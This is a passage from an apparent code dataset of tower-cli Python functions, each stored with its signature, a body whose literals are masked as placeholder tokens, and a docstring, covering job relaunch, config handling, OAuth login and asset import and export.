int\n        :param fail_if_not_running: Flag that if set, raise exception if the job resource cannot be canceled.\n        :type fail_if_not_running: bool\n        :param `**kwargs`: Keyword arguments used to look up job resource object to restart if ``pk`` is not\n                           provided.\n        :returns: A dictionary of two keys: \"status\", which is \"canceled\", and \"changed\", which indicates if\n                  the job resource has been successfully canceled.\n        :rtype: dict\n        :raises tower_cli.exceptions.TowerCLIError: When the job resource cannot be canceled and\n                                                    ``fail_if_not_running`` flag is on.\n        =====API DOCS=====", "id": "f3329:c5:m1"}
{"signature": "@resources.command<EOL><INDENT>def relaunch(self, pk=None, **kwargs):<DEDENT>", "body": "<EOL>if not pk:<EOL><INDENT>existing_data = self.get(**kwargs)<EOL>pk = existing_data['<STR_LIT:id>']<EOL><DEDENT>relaunch_endpoint = '<STR_LIT>' % (self.endpoint, pk)<EOL>data = {}<EOL>answer = {}<EOL>try:<EOL><INDENT>result = client.post(relaunch_endpoint, data=data).json()<EOL>if '<STR_LIT:id>' in result:<EOL><INDENT>answer.update(result)<EOL><DEDENT>answer['<STR_LIT>'] = True<EOL><DEDENT>except exc.MethodNotAllowed:<EOL><INDENT>answer['<STR_LIT>'] = False<EOL><DEDENT>return answer<EOL>", "docstring": "Relaunch a stopped job.\n\n        Fails with a non-zero exit status if the job cannot be relaunched.\n        You must provide either a pk or parameters in the job's identity.\n\n        =====API DOCS=====\n        Relaunch a stopped job resource.\n\n        :param pk: Primary key of the job resource to relaunch.\n        :type pk: int\n        :param `**kwargs`: Keyword arguments used to look up job resource object to relaunch if ``pk`` is not\n                           provided.\n        :returns: A dictionary combining the JSON output of the relaunched job resource object, as well\n                  as an extra field \"changed\", a flag indicating if the job resource object is status-changed\n                  as expected.\n        :rtype: dict\n\n        =====API DOCS=====", "id": "f3329:c5:m2"}
{"signature": "@resources.command<EOL><INDENT>def survey(self, pk=None, **kwargs):<DEDENT>", "body": "job_template = self.get(pk=pk, **kwargs)<EOL>if settings.format == '<STR_LIT>':<EOL><INDENT>settings.format = '<STR_LIT>'<EOL><DEDENT>return client.get(self._survey_endpoint(job_template['<STR_LIT:id>'])).json()<EOL>", "docstring": "Get the survey_spec for the job template.\n        To write a survey, use the modify command with the --survey-spec parameter.\n\n        =====API DOCS=====\n        Get the survey specification of a resource object.\n\n        :param pk: Primary key of the resource to retrieve survey from. Tower CLI will only attempt to\n                   read *that* object if ``pk`` is provided (not ``None``).\n        :type pk: int\n        :param `**kwargs`: Keyword arguments used to look up resource object to retrieve survey if ``pk``\n                           is not provided.\n        :returns: loaded JSON of the retrieved survey specification of the resource object.\n        :rtype: dict\n        =====API DOCS=====", "id": "f3329:c6:m2"}
{"signature": "@property<EOL><INDENT>def help(self):<DEDENT>", "body": "if self.help_text:<EOL><INDENT>return self.help_text<EOL><DEDENT>return '<STR_LIT>' % self.name<EOL>", "docstring": "Return the help text that was passed to the constructor, or a\n        sensible default if none was provided.", "id": "f3330:c1:m3"}
{"signature": "@property<EOL><INDENT>def option(self):<DEDENT>", "body": "return '<STR_LIT>' + self.name.replace('<STR_LIT:_>', '<STR_LIT:->')<EOL>", "docstring": "Return the field name as a bash option string\n        (e.g. \"--field-name\").", "id": "f3330:c1:m4"}
{"signature": "def configure_model(self, attrs, field_name):", "body": "self.relationship = field_name<EOL>self._set_method_names(relationship=field_name)<EOL>if self.res_name is None:<EOL><INDENT>self.res_name = grammar.singularize(attrs.get('<STR_LIT>', '<STR_LIT>').strip('<STR_LIT:/>'))<EOL><DEDENT>", "docstring": "Hook for ResourceMeta class to call when initializing model class.\nSaves fields obtained from resource class backlinks", "id": "f3330:c2:m2"}
{"signature": "def _produce_raw_method(self):", "body": "def method(res_self, **kwargs):<EOL><INDENT>obj_pk = kwargs.get(method._res_name)<EOL>other_obj_pk = kwargs.get(method._other_name)<EOL>internal_method = getattr(res_self, method._internal_name)<EOL>return internal_method(method._relationship, obj_pk, other_obj_pk)<EOL><DEDENT>return method<EOL>", "docstring": "Returns a callable which becomes the associate or disassociate\nmethod for the related field.\nMethod can be overridden to add additional functionality, but\n`_produce_method` may also need to be subclassed to decorate\nit appropriately.", "id": "f3330:c2:m6"}
{"signature": "def __repr__(self):", "body": "return '<STR_LIT:{>' + '<STR_LIT:U+002CU+0020>'.join(['<STR_LIT>' % (k, v)<EOL>for k, v in self.items()]) + '<STR_LIT:}>'<EOL>", "docstring": "Print a repr that resembles dict's repr, but preserves\n        key order.", "id": "f3332:c0:m0"}
{"signature": "def parse_kv(var_string):", "body": "return_dict = {}<EOL>if var_string is None:<EOL><INDENT>return {}<EOL><DEDENT>fix_encoding_26 = False<EOL>if sys.version_info < (<NUM_LIT:2>, <NUM_LIT:7>) and '<STR_LIT:\\x00>' in shlex.split(u'<STR_LIT:a>')[<NUM_LIT:0>]:<EOL><INDENT>fix_encoding_26 = True<EOL><DEDENT>is_unicode = False<EOL>if fix_encoding_26 or not isinstance(var_string, str):<EOL><INDENT>if isinstance(var_string, six.text_type):<EOL><INDENT>var_string = var_string.encode('<STR_LIT>')<EOL>is_unicode = True<EOL><DEDENT>else:<EOL><INDENT>var_string = str(var_string)<EOL><DEDENT><DEDENT>for token in shlex.split(var_string):<EOL><INDENT>if (is_unicode):<EOL><INDENT>token = token.decode('<STR_LIT>')<EOL><DEDENT>if fix_encoding_26:<EOL><INDENT>token = six.text_type(token)<EOL><DEDENT>if '<STR_LIT:=>' in token:<EOL><INDENT>(k, v) = token.split('<STR_LIT:=>', <NUM_LIT:1>)<EOL>if len(k) == <NUM_LIT:0> or len(v) == <NUM_LIT:0>:<EOL><INDENT>raise Exception<EOL><DEDENT>try:<EOL><INDENT>return_dict[k] = ast.literal_eval(v)<EOL><DEDENT>except Exception:<EOL><INDENT>return_dict[k] = v<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise Exception<EOL><DEDENT><DEDENT>return return_dict<EOL>", "docstring": "Similar to the Ansible function of the same name, parses file\n    with a key=value pattern and stores information in a dictionary,\n    but not as fully featured as the corresponding Ansible code.", "id": "f3333:m0"}
{"signature": "def string_to_dict(var_string, allow_kv=True, require_dict=True):", "body": "<EOL>try:<EOL><INDENT>return_dict = yaml.load(var_string, Loader=yaml.SafeLoader)<EOL>if require_dict:<EOL><INDENT>assert type(return_dict) is dict<EOL><DEDENT><DEDENT>except (AttributeError, yaml.YAMLError, AssertionError):<EOL><INDENT>try:<EOL><INDENT>assert allow_kv<EOL>return_dict = parse_kv(var_string)<EOL><DEDENT>except Exception:<EOL><INDENT>raise exc.TowerCLIError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % var_string<EOL>)<EOL><DEDENT><DEDENT>return return_dict<EOL>", "docstring": "Returns a dictionary given a string with yaml or json syntax.\n    If data is not present in a key: value format, then it return\n    an empty dictionary.\n\n    Attempts processing string by 3 different methods in order:\n        1. as JSON      2. as YAML      3. as custom key=value syntax\n    Throws an error if all of these fail in the standard ways.", "id": "f3333:m1"}
{"signature": "def process_extra_vars(extra_vars_list, force_json=True):", "body": "<EOL>extra_vars = {}<EOL>extra_vars_yaml = \"<STR_LIT>\"<EOL>for extra_vars_opt in extra_vars_list:<EOL><INDENT>if extra_vars_opt.startswith(\"<STR_LIT:@>\"):<EOL><INDENT>with open(extra_vars_opt[<NUM_LIT:1>:], '<STR_LIT:r>') as f:<EOL><INDENT>extra_vars_opt = f.read()<EOL><DEDENT>opt_dict = string_to_dict(extra_vars_opt, allow_kv=False)<EOL><DEDENT>else:<EOL><INDENT>opt_dict = string_to_dict(extra_vars_opt, allow_kv=True)<EOL><DEDENT>if any(line.startswith(\"<STR_LIT:#>\") for line in extra_vars_opt.split('<STR_LIT:\\n>')):<EOL><INDENT>extra_vars_yaml += extra_vars_opt + \"<STR_LIT:\\n>\"<EOL><DEDENT>elif extra_vars_opt != \"<STR_LIT>\":<EOL><INDENT>extra_vars_yaml += yaml.dump(<EOL>opt_dict, default_flow_style=False) + \"<STR_LIT:\\n>\"<EOL><DEDENT>extra_vars.update(opt_dict)<EOL><DEDENT>if not force_json:<EOL><INDENT>try:<EOL><INDENT>try_dict = yaml.load(extra_vars_yaml, Loader=yaml.SafeLoader)<EOL>assert type(try_dict) is dict<EOL>debug.log('<STR_LIT>', header='<STR_LIT>', nl=<NUM_LIT:2>)<EOL>return extra_vars_yaml.rstrip()<EOL><DEDENT>except Exception:<EOL><INDENT>debug.log('<STR_LIT>',<EOL>header='<STR_LIT>', nl=<NUM_LIT:2>)<EOL><DEDENT><DEDENT>if extra_vars == {}:<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>return json.dumps(extra_vars, ensure_ascii=False)<EOL>", "docstring": "Returns a string that is valid JSON or YAML and contains all the\n    variables in every extra_vars_opt inside of extra_vars_list.\n\n    Args:\n       parse_kv (bool): whether to allow key=value syntax.\n       force_json (bool): if True, always output json.", "id": "f3333:m2"}
{"signature": "def ordered_dump(data, Dumper=yaml.Dumper, **kws):", "body": "class OrderedDumper(Dumper):<EOL><INDENT>pass<EOL><DEDENT>def _dict_representer(dumper, data):<EOL><INDENT>return dumper.represent_mapping(<EOL>yaml.resolver.BaseResolver.DEFAULT_MAPPING_TAG,<EOL>data.items())<EOL><DEDENT>OrderedDumper.add_representer(OrderedDict,<EOL>_dict_representer)<EOL>return yaml.dump(data, None, OrderedDumper, **kws)<EOL>", "docstring": "Expand PyYAML's built-in dumper to support parsing OrderedDict. Return\n    a string as parse result of the original data structure, which includes\n    OrderedDict.\n\n    Args:\n        data: the data structure to be dumped(parsed) which is supposed to\n        contain OrderedDict.\n        Dumper: the yaml serializer to be expanded and used.\n        kws: extra key-value arguments to be passed to yaml.dump.", "id": "f3333:m3"}
{"signature": "@functools.wraps(click.secho)<EOL>def secho(message, **kwargs):", "body": "<EOL>if not settings.color:<EOL><INDENT>for key in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>kwargs.pop(key, None)<EOL><DEDENT><DEDENT>return click.secho(message, **kwargs)<EOL>", "docstring": "A wrapper around click.secho that disables any coloring being used\n    if colors have been disabled.", "id": "f3335:m0"}
{"signature": "def log(s, header='<STR_LIT>', file=sys.stderr, nl=<NUM_LIT:1>, **kwargs):", "body": "<EOL>if not settings.verbose:<EOL><INDENT>return<EOL><DEDENT>if header:<EOL><INDENT>word_arr = s.split('<STR_LIT:U+0020>')<EOL>multi = []<EOL>word_arr.insert(<NUM_LIT:0>, '<STR_LIT>' % header.upper())<EOL>i = <NUM_LIT:0><EOL>while i < len(word_arr):<EOL><INDENT>to_add = ['<STR_LIT>']<EOL>count = <NUM_LIT:3><EOL>while count <= <NUM_LIT>:<EOL><INDENT>count += len(word_arr[i]) + <NUM_LIT:1><EOL>if count <= <NUM_LIT>:<EOL><INDENT>to_add.append(word_arr[i])<EOL>i += <NUM_LIT:1><EOL>if i == len(word_arr):<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT>if len(to_add) == <NUM_LIT:1>:<EOL><INDENT>to_add.append(word_arr[i])<EOL>i += <NUM_LIT:1><EOL><DEDENT>if i != len(word_arr):<EOL><INDENT>count -= len(word_arr[i]) + <NUM_LIT:1><EOL><DEDENT>to_add.append('<STR_LIT:*>' * (<NUM_LIT> - count))<EOL>multi.append('<STR_LIT:U+0020>'.join(to_add))<EOL><DEDENT>s = '<STR_LIT:\\n>'.join(multi)<EOL>lines = len(multi)<EOL><DEDENT>else:<EOL><INDENT>lines = <NUM_LIT:1><EOL><DEDENT>if isinstance(nl, int) and nl > lines:<EOL><INDENT>s += '<STR_LIT:\\n>' * (nl - lines)<EOL><DEDENT>return secho(s, file=file, **kwargs)<EOL>", "docstring": "Log the given output to stderr if and only if we are in\n    verbose mode.\n\n    If we are not in verbose mode, this is a no-op.", "id": "f3336:m0"}
{"signature": "def unified_job_template_options(method):", "body": "jt_dec = click.option(<EOL>'<STR_LIT>', type=types.Related('<STR_LIT>'),<EOL>help='<STR_LIT>')<EOL>prj_dec = click.option(<EOL>'<STR_LIT>', type=types.Related('<STR_LIT>'),<EOL>help='<STR_LIT>')<EOL>inv_src_dec = click.option(<EOL>'<STR_LIT>', type=types.Related('<STR_LIT>'),<EOL>help='<STR_LIT>')<EOL>def ujt_translation(_method):<EOL><INDENT>def _ujt_translation(*args, **kwargs):<EOL><INDENT>for fd in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>if fd in kwargs and kwargs[fd] is not None:<EOL><INDENT>kwargs['<STR_LIT>'] = kwargs.pop(fd)<EOL><DEDENT><DEDENT>return _method(*args, **kwargs)<EOL><DEDENT>return functools.wraps(_method)(_ujt_translation)<EOL><DEDENT>return ujt_translation(<EOL>inv_src_dec(<EOL>prj_dec(<EOL>jt_dec(<EOL>method<EOL>)<EOL>)<EOL>)<EOL>)<EOL>", "docstring": "Adds the decorators for all types of unified job templates,\nand if the non-unified type is specified, converts it into the\nunified_job_template kwarg.", "id": "f3338:m0"}
{"signature": "def get_resource(name):", "body": "module = importlib.import_module('<STR_LIT>' % name)<EOL>return module.Resource()<EOL>", "docstring": "Return an instance of the requested Resource class.\n\n    Since all of the resource classes are named `Resource`, this provides\n    a slightly cleaner interface for using these classes via. importing rather\n    than through the CLI.", "id": "f3339:m0"}
{"signature": "@click.command()<EOL>@with_global_options<EOL>def version():", "body": "<EOL>click.echo('<STR_LIT>' % __version__)<EOL>click.echo('<STR_LIT>' % CUR_API_VERSION)<EOL>try:<EOL><INDENT>r = client.get('<STR_LIT>')<EOL><DEDENT>except RequestException as ex:<EOL><INDENT>raise exc.TowerCLIError('<STR_LIT>' %<EOL>six.text_type(ex))<EOL><DEDENT>config = r.json()<EOL>license = config.get('<STR_LIT>', {}).get('<STR_LIT>', '<STR_LIT>')<EOL>if license == '<STR_LIT>':<EOL><INDENT>server_type = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>server_type = '<STR_LIT>'<EOL><DEDENT>click.echo('<STR_LIT>' % (server_type, config['<STR_LIT:version>']))<EOL>click.echo('<STR_LIT>' % config['<STR_LIT>'])<EOL>", "docstring": "Display full version information.", "id": "f3340:m0"}
{"signature": "def _echo_setting(key):", "body": "value = getattr(settings, key)<EOL>secho('<STR_LIT>' % key, fg='<STR_LIT>', bold=True, nl=False)<EOL>secho(<EOL>six.text_type(value),<EOL>bold=True,<EOL>fg='<STR_LIT>' if isinstance(value, six.text_type) else '<STR_LIT>',<EOL>)<EOL>", "docstring": "Echo a setting to the CLI.", "id": "f3340:m1"}
{"signature": "@click.command()<EOL>@click.argument('<STR_LIT:key>', required=False)<EOL>@click.argument('<STR_LIT:value>', required=False)<EOL>@click.option('<STR_LIT>', '<STR_LIT>', is_flag=True,<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>@click.option('<STR_LIT>', type=click.Choice(['<STR_LIT>', '<STR_LIT:user>', '<STR_LIT>']),<EOL>default='<STR_LIT:user>',<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>@click.option('<STR_LIT>', is_flag=True,<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>')<EOL>def config(key=None, value=None, scope='<STR_LIT:user>', global_=False, unset=False):", "body": "<EOL>if global_:<EOL><INDENT>scope = '<STR_LIT>'<EOL>warnings.warn('<STR_LIT>'<EOL>'<STR_LIT>',<EOL>DeprecationWarning)<EOL><DEDENT>if not key:<EOL><INDENT>seen = set()<EOL>parser_desc = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>'<STR_LIT:user>': '<STR_LIT>'<EOL>'<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>'<EOL>'<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>}<EOL>click.echo('<STR_LIT>')<EOL>for name, parser in zip(settings._parser_names, settings._parsers):<EOL><INDENT>will_echo = False<EOL>for option in parser.options('<STR_LIT>'):<EOL><INDENT>if option in seen:<EOL><INDENT>continue<EOL><DEDENT>will_echo = True<EOL><DEDENT>if will_echo:<EOL><INDENT>secho('<STR_LIT>' % parser_desc[name], fg='<STR_LIT>', bold=True)<EOL><DEDENT>for option in parser.options('<STR_LIT>'):<EOL><INDENT>if option in seen:<EOL><INDENT>continue<EOL><DEDENT>_echo_setting(option)<EOL>seen.add(option)<EOL><DEDENT>if will_echo:<EOL><INDENT>click.echo('<STR_LIT>')<EOL><DEDENT><DEDENT>return<EOL><DEDENT>if not hasattr(settings, key):<EOL><INDENT>raise exc.TowerCLIError('<STR_LIT>' % key)<EOL><DEDENT>if value and unset:<EOL><INDENT>raise exc.UsageError('<STR_LIT>')<EOL><DEDENT>if key and not value and not unset:<EOL><INDENT>_echo_setting(key)<EOL>return<EOL><DEDENT>filename = os.path.expanduser('<STR_LIT>')<EOL>if scope == '<STR_LIT>':<EOL><INDENT>if not os.path.isdir('<STR_LIT>'):<EOL><INDENT>raise exc.TowerCLIError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>filename = '<STR_LIT>'<EOL><DEDENT>elif scope == '<STR_LIT>':<EOL><INDENT>filename = '<STR_LIT>'<EOL><DEDENT>parser = Parser()<EOL>parser.add_section('<STR_LIT>')<EOL>parser.read(filename)<EOL>if unset:<EOL><INDENT>parser.remove_option('<STR_LIT>', key)<EOL><DEDENT>else:<EOL><INDENT>parser.set('<STR_LIT>', key, value)<EOL><DEDENT>with open(filename, '<STR_LIT:w>') as config_file:<EOL><INDENT>parser.write(config_file)<EOL><DEDENT>try:<EOL><INDENT>os.chmod(filename, stat.S_IRUSR | stat.S_IWUSR)<EOL><DEDENT>except Exception as e:<EOL><INDENT>warnings.warn(<EOL>'<STR_LIT>'.format(filename, e),<EOL>UserWarning<EOL>)<EOL><DEDENT>click.echo('<STR_LIT>')<EOL>", "docstring": "Read or write tower-cli configuration.\n\n    `tower config` saves the given setting to the appropriate Tower CLI;\n    either the user's ~/.tower_cli.cfg file, or the /etc/tower/tower_cli.cfg\n    file if --global is used.\n\n    Writing to /etc/tower/tower_cli.cfg is likely to require heightened\n    permissions (in other words, sudo).", "id": "f3340:m2"}
{"signature": "@click.command()<EOL>@click.argument('<STR_LIT:username>', required=True)<EOL>@click.option('<STR_LIT>', required=True, prompt=True, hide_input=True)<EOL>@click.option('<STR_LIT>', required=False)<EOL>@click.option('<STR_LIT>', required=False)<EOL>@click.option('<STR_LIT>', required=False, default='<STR_LIT>',<EOL>type=click.Choice(['<STR_LIT>', '<STR_LIT>']))<EOL>@click.option('<STR_LIT>', '<STR_LIT>', default=None,<EOL>help='<STR_LIT>', is_flag=True,<EOL>required=False, callback=_apply_runtime_setting, is_eager=True)<EOL>def login(username, password, scope, client_id, client_secret, verbose):", "body": "if not supports_oauth():<EOL><INDENT>raise exc.TowerCLIError(<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>req = collections.namedtuple('<STR_LIT>', '<STR_LIT>')({})<EOL>if client_id and client_secret:<EOL><INDENT>HTTPBasicAuth(client_id, client_secret)(req)<EOL>req.headers['<STR_LIT:Content-Type>'] = '<STR_LIT>'<EOL>r = client.post(<EOL>'<STR_LIT>',<EOL>data={<EOL>\"<STR_LIT>\": \"<STR_LIT:password>\",<EOL>\"<STR_LIT:username>\": username,<EOL>\"<STR_LIT:password>\": password,<EOL>\"<STR_LIT>\": scope<EOL>},<EOL>headers=req.headers<EOL>)<EOL><DEDENT>elif client_id:<EOL><INDENT>req.headers['<STR_LIT:Content-Type>'] = '<STR_LIT>'<EOL>r = client.post(<EOL>'<STR_LIT>',<EOL>data={<EOL>\"<STR_LIT>\": \"<STR_LIT:password>\",<EOL>\"<STR_LIT:username>\": username,<EOL>\"<STR_LIT:password>\": password,<EOL>\"<STR_LIT>\": client_id,<EOL>\"<STR_LIT>\": scope<EOL>},<EOL>headers=req.headers<EOL>)<EOL><DEDENT>else:<EOL><INDENT>HTTPBasicAuth(username, password)(req)<EOL>r = client.post(<EOL>'<STR_LIT>'.format(username),<EOL>data={\"<STR_LIT:description>\": \"<STR_LIT>\", \"<STR_LIT>\": None, \"<STR_LIT>\": scope},<EOL>headers=req.headers<EOL>)<EOL><DEDENT>if r.ok:<EOL><INDENT>result = r.json()<EOL>result.pop('<STR_LIT>', None)<EOL>result.pop('<STR_LIT>', None)<EOL>if client_id:<EOL><INDENT>token = result.pop('<STR_LIT>', None)<EOL><DEDENT>else:<EOL><INDENT>token = result.pop('<STR_LIT>', None)<EOL><DEDENT>if settings.verbose:<EOL><INDENT>result['<STR_LIT>'] = token<EOL><DEDENT>secho(json.dumps(result, indent=<NUM_LIT:1>), fg='<STR_LIT>', bold=True)<EOL>config.main(['<STR_LIT>', token, '<STR_LIT>'])<EOL><DEDENT>", "docstring": "Retrieves and stores an OAuth2 personal auth token.", "id": "f3340:m3"}
{"signature": "@click.command()<EOL>def logout():", "body": "if not supports_oauth():<EOL><INDENT>raise exc.TowerCLIError(<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>config.main(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL>", "docstring": "Removes an OAuth2 personal auth token from config.", "id": "f3340:m4"}
{"signature": "@click.command()<EOL>@with_global_options<EOL>@click.option('<STR_LIT>', required=False, multiple=True)<EOL>@click.option('<STR_LIT>', required=False, multiple=True)<EOL>@click.option('<STR_LIT>', required=False, multiple=True)<EOL>@click.option('<STR_LIT>', required=False, multiple=True)<EOL>@click.option('<STR_LIT>', required=False, multiple=True)<EOL>@click.option('<STR_LIT>', required=False, multiple=True)<EOL>@click.option('<STR_LIT>', required=False, multiple=True)<EOL>@click.option('<STR_LIT>', required=False, multiple=True)<EOL>@click.option('<STR_LIT>', required=False, multiple=True)<EOL>@click.option('<STR_LIT>', required=False, multiple=True)<EOL>@click.option('<STR_LIT>', required=False, multiple=True)<EOL>@click.option('<STR_LIT>', is_flag=True)<EOL>def receive(organization=None, user=None, team=None, credential_type=None, credential=None,<EOL>notification_template=None, inventory_script=None, inventory=None, project=None, job_template=None,<EOL>workflow=None, all=None):", "body": "from tower_cli.cli.transfer.receive import Receiver<EOL>receiver = Receiver()<EOL>assets_to_export = {}<EOL>for asset_type in SEND_ORDER:<EOL><INDENT>assets_to_export[asset_type] = locals()[asset_type]<EOL><DEDENT>receiver.receive(all=all, asset_input=assets_to_export)<EOL>", "docstring": "Export assets from Tower.\n\n    'tower receive' exports one or more assets from a Tower instance\n\n    For all of the possible assets types the TEXT can either be the assets name\n    (or username for the case of a user) or the keyword all. Specifying all\n    will export all of the assets of that type.", "id": "f3340:m5"}
{"signature": "@click.command()<EOL>@with_global_options<EOL>@click.argument('<STR_LIT:source>', required=False, nargs=-<NUM_LIT:1>)<EOL>@click.option('<STR_LIT>', multiple=True, required=False,<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>@click.option('<STR_LIT>', multiple=True, required=False, help='<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>@click.option('<STR_LIT>', multiple=False, required=False, default='<STR_LIT:default>',<EOL>type=click.Choice(['<STR_LIT:default>', '<STR_LIT>', '<STR_LIT>']),<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL>@click.option('<STR_LIT>', is_flag=True,<EOL>help=\"<STR_LIT>\"<EOL>)<EOL>def send(source=None, prevent=None, exclude=None, secret_management='<STR_LIT:default>', no_color=False):", "body": "from tower_cli.cli.transfer.send import Sender<EOL>sender = Sender(no_color)<EOL>sender.send(source, prevent, exclude, secret_management)<EOL>", "docstring": "Import assets into Tower.\n\n    'tower send' imports one or more assets into a Tower instance\n\n    The import can take either JSON or YAML.\n    Data can be sent on stdin (i.e. from tower-cli receive pipe) and/or from files\n    or directories passed as parameters.\n\n    If a directory is specified only files that end in .json, .yaml or .yml will be\n    imported. Other files will be ignored.", "id": "f3340:m6"}
{"signature": "@click.command()<EOL>@with_global_options<EOL>@click.option('<STR_LIT>', required=False, multiple=True)<EOL>@click.option('<STR_LIT>', required=False, multiple=True)<EOL>@click.option('<STR_LIT>', required=False, multiple=True)<EOL>@click.option('<STR_LIT>', required=False, multiple=True)<EOL>@click.option('<STR_LIT>', required=False, multiple=True)<EOL>@click.option('<STR_LIT>', required=False, multiple=True)<EOL>@click.option('<STR_LIT>', required=False, multiple=True)<EOL>@click.option('<STR_LIT>', required=False, multiple=True)<EOL>@click.option('<STR_LIT>', required=False, multiple=True)<EOL>@click.option('<STR_LIT>', required=False, multiple=True)<EOL>@click.option('<STR_LIT>', required=False, multiple=True)<EOL>@click.option('<STR_LIT>', is_flag=True)<EOL>@click.option('<STR_LIT>', is_flag=True,<EOL>help=\"<STR_LIT>\"<EOL>)<EOL>def empty(organization=None, user=None, team=None, credential_type=None, credential=None, notification_template=None,<EOL>inventory_script=None, inventory=None, project=None, job_template=None, workflow=None,<EOL>all=None, no_color=False):", "body": "<EOL>from tower_cli.cli.transfer.cleaner import Cleaner<EOL>destroyer = Cleaner(no_color)<EOL>assets_to_export = {}<EOL>for asset_type in SEND_ORDER:<EOL><INDENT>assets_to_export[asset_type] = locals()[asset_type]<EOL><DEDENT>destroyer.go_ham(all=all, asset_input=assets_to_export)<EOL>", "docstring": "Empties assets from Tower.\n\n    'tower empty' removes all assets from Tower", "id": "f3340:m7"}
{"signature": "def list_commands(self, ctx):", "body": "return self.resource.commands<EOL>", "docstring": "Return a list of all methods decorated with the\n        @resources.command decorator.", "id": "f3341:c0:m1"}
{"signature": "def _auto_help_text(self, help_text):", "body": "<EOL>api_doc_delimiter = '<STR_LIT>'<EOL>begin_api_doc = help_text.find(api_doc_delimiter)<EOL>if begin_api_doc >= <NUM_LIT:0>:<EOL><INDENT>end_api_doc = help_text.rfind(api_doc_delimiter) + len(api_doc_delimiter)<EOL>help_text = help_text[:begin_api_doc] + help_text[end_api_doc:]<EOL><DEDENT>an_prefix = ('<STR_LIT:a>', '<STR_LIT:e>', '<STR_LIT:i>', '<STR_LIT:o>')<EOL>if not self.resource_name.lower().startswith(an_prefix):<EOL><INDENT>help_text = help_text.replace('<STR_LIT>',<EOL>'<STR_LIT>' % self.resource_name)<EOL><DEDENT>if self.resource_name.lower().endswith('<STR_LIT:y>'):<EOL><INDENT>help_text = help_text.replace(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>' % self.resource_name[:-<NUM_LIT:1>],<EOL>)<EOL><DEDENT>help_text = help_text.replace('<STR_LIT:object>', self.resource_name)<EOL>help_text = help_text.replace('<STR_LIT>', '<STR_LIT>')<EOL>help_text = help_text.replace('<STR_LIT>',<EOL>'<STR_LIT>')<EOL>for match in re.findall(r'<STR_LIT>', help_text):<EOL><INDENT>option = '<STR_LIT>' % match.replace('<STR_LIT:_>', '<STR_LIT:->')<EOL>help_text = help_text.replace('<STR_LIT>' % match, option)<EOL><DEDENT>return help_text<EOL>", "docstring": "Given a method with a docstring, convert the docstring\n        to more CLI appropriate wording, and also disambiguate the\n        word \"object\" on the base class docstrings.", "id": "f3341:c0:m2"}
{"signature": "def _echo_method(self, method):", "body": "@functools.wraps(method)<EOL>def func(*args, **kwargs):<EOL><INDENT>if getattr(method, '<STR_LIT>', False):<EOL><INDENT>debug.log('<STR_LIT>', header='<STR_LIT>')<EOL><DEDENT>result = method(*args, **kwargs)<EOL>color_info = {}<EOL>if isinstance(result, dict) and '<STR_LIT>' in result:<EOL><INDENT>if result['<STR_LIT>']:<EOL><INDENT>color_info['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>color_info['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT><DEDENT>format = getattr(self, '<STR_LIT>' % (getattr(method, '<STR_LIT>', None) or settings.format))<EOL>output = format(result)<EOL>secho(output, **color_info)<EOL><DEDENT>return func<EOL>", "docstring": "Given a method, return a method that runs the internal\n        method and echos the result.", "id": "f3341:c0:m3"}
{"signature": "def _format_json(self, payload):", "body": "return json.dumps(payload, indent=<NUM_LIT:2>)<EOL>", "docstring": "Convert the payload into a JSON string with proper\n        indentation and return it.", "id": "f3341:c0:m4"}
{"signature": "def _format_yaml(self, payload):", "body": "return parser.ordered_dump(payload, Dumper=yaml.SafeDumper,<EOL>default_flow_style=False)<EOL>", "docstring": "Convert the payload into a YAML string with proper\n        indentation and return it.", "id": "f3341:c0:m5"}
{"signature": "def _format_id(self, payload):", "body": "if '<STR_LIT:id>' in payload:<EOL><INDENT>return str(payload['<STR_LIT:id>'])<EOL><DEDENT>if '<STR_LIT>' in payload:<EOL><INDENT>return '<STR_LIT:U+0020>'.join([six.text_type(item['<STR_LIT:id>']) for item in payload['<STR_LIT>']])<EOL><DEDENT>raise MultipleRelatedError('<STR_LIT>')<EOL>", "docstring": "Echos only the id", "id": "f3341:c0:m6"}
